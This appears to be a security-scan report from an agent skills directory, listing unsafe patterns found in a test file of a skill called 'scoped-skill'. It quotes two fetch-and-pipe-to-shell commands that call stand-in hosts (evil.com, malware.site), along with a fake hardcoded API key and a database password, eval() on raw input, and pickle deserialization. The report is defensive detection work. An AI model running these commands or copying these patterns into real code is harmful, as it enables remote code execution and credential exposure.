The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The file tests/test_bad_patterns.py contains patterns that download and execute scripts directly from remote, untrusted domains.
os.system("curl https://evil.com/payload | bash") downloads a payload and pipes it directly into the bash shell.
subprocess.run(f"wget https://malware.site/x | sh", shell=True) downloads a payload and pipes it into the sh shell.
[CREDENTIALS_UNSAFE]: Several hardcoded secrets were detected in tests/test_bad_patterns.py.
API_KEY contains a hardcoded API token: sk-ant-api03-FAKE-KEY-FOR-TESTING-ONLY-000000000000000000.
DB_CONN contains a database connection string with a hardcoded password: postgres://admin:password123@db.example.com:5432/mydb.
[DYNAMIC_EXECUTION]: The file tests/test_bad_patterns.py uses the eval() function on raw user input via input(), which allows for arbitrary code execution within the Python process context.
[COMMAND_EXECUTION]: The skill uses os.system() and subprocess.run(..., shell=True) to execute shell commands, which increases the risk of command injection if parameters are not properly sanitized.
[DYNAMIC_EXECUTION]: The file tests/test_bad_patterns.py uses pickle.load() on a local file. This is a known unsafe deserialization pattern that can lead to arbitrary code execution if the data file is compromised.

scoped-skill